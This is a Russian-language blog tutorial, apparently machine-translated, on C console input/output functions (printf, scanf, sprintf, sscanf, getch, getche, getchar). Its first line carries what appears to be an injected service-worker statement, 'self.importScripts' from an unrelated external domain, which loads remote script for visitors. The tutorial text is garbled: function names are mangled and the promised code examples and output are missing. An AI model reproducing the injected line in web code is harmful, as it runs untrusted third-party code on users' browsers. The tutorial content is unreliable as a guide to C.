google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Консольные функции ввода / вывода в C



Деннис Ритчи разрабатывает язык Си без ущерба для его компактности. Для достижения компактности он сознательно не предоставил все, что связано с вводом вывода в определении языка. Таким образом, язык C не содержит кода для получения данных с клавиатуры и отправки их на экран. Тогда как мы используем функции scanf () и printf () в C? Деннис Ритчи использовал функции ввода / вывода операционной системы и связал их с языком Си. Это означает, что функции printf () и scanf () будут работать в соответствии с используемой вами ОС. Программисту все равно не нужно беспокоиться о работе этих функций.
Различные функции ввода / вывода доступны на языке Си. Они подразделяются на две широкие категории.
  1. Консольные функции ввода / вывода - эти функции получают ввод с клавиатуры и записывают их в VDU (блок визуального отображения).
  2. Функции ввода / вывода файла - эти функции выполняют операции ввода / вывода на дискете или жестком диске.

Консольные функции ввода / вывода в C

Клавиатура и экран вместе называются консолью. Это название этих функций. Консольные функции ввода / вывода, далее классифицируемые в
  1. Форматированные функции ввода / вывода
  2. Неформатированные функции ввода / вывода
Давайте узнаем о них один за другим.

Отформатированные функции ввода / вывода в C

Функции printf () и scanf () подпадают под эту категорию. Они обеспечивают гибкость для получения входных данных в некотором фиксированном формате и для предоставления выходных данных в желаемом формате. Как я уже объяснил их в одной из предыдущих статей, я не буду обсуждать их здесь. Вы можете прочитать о них здесь:  Е () и зсапЕ () в C .

Функция sprintf () и sscanf ()

Эти отформатированные консольные функции ввода-вывода работают несколько иначе, чем функции printf () и scanf (). Функция sprintf () очень похожа на функцию printf (), но вместо вывода вывода на экран она сохраняет его в массиве символов. Рассмотрим пример ниже, чтобы понять это.

Пояснение
Как я уже говорил ранее, sprintf () не выводит вывод на экран. Поэтому я напечатал значение str с помощью printf (). Он просто хранит данные в строке. В вышеуказанной программе str будет хранить значения «j», «cha» и «a».
sscanf () является противоположной частью функции sprintf (). Это позволяет программисту хранить символы строки в некоторой другой переменной. Эти две функции используются очень редко в C.

Неформатированные функции ввода / вывода в C

Такие функции, как getch (), getche () и getchar () подпадают под эту категорию. Эти функции хранят только один символ. До сих пор мы использовали функцию scanf () для хранения значений. К сожалению, мы должны нажать клавишу ввода при использовании функции scanf () для сохранения значений в памяти. В условиях, когда нам нужно хранить только один символ, эти неформатированные функции очень удобны.
Заголовочный файл, используемый для этих трех функций, - conio.h.

функция getch ()

Эта функция используется для хранения только одного символа в памяти. Он не отображает и не отображает этот символ на экране во время выполнения программы.

функция getche ()

Эта функция работает аналогично функции getch. Однако это просто эхо или отображать этот символ на экране.

функция getchar ()

Эта функция работает полностью аналогично функции getche. Он хранит один символ и отображает его на экране. Но мы должны нажать клавишу ввода, чтобы сохранить один символ при использовании этой функции.
Рассмотрим пример ниже, чтобы понять эти функции.
           
Выход 
Консольные функции ввода / вывода в C

Комментариев нет:

Отправить комментарий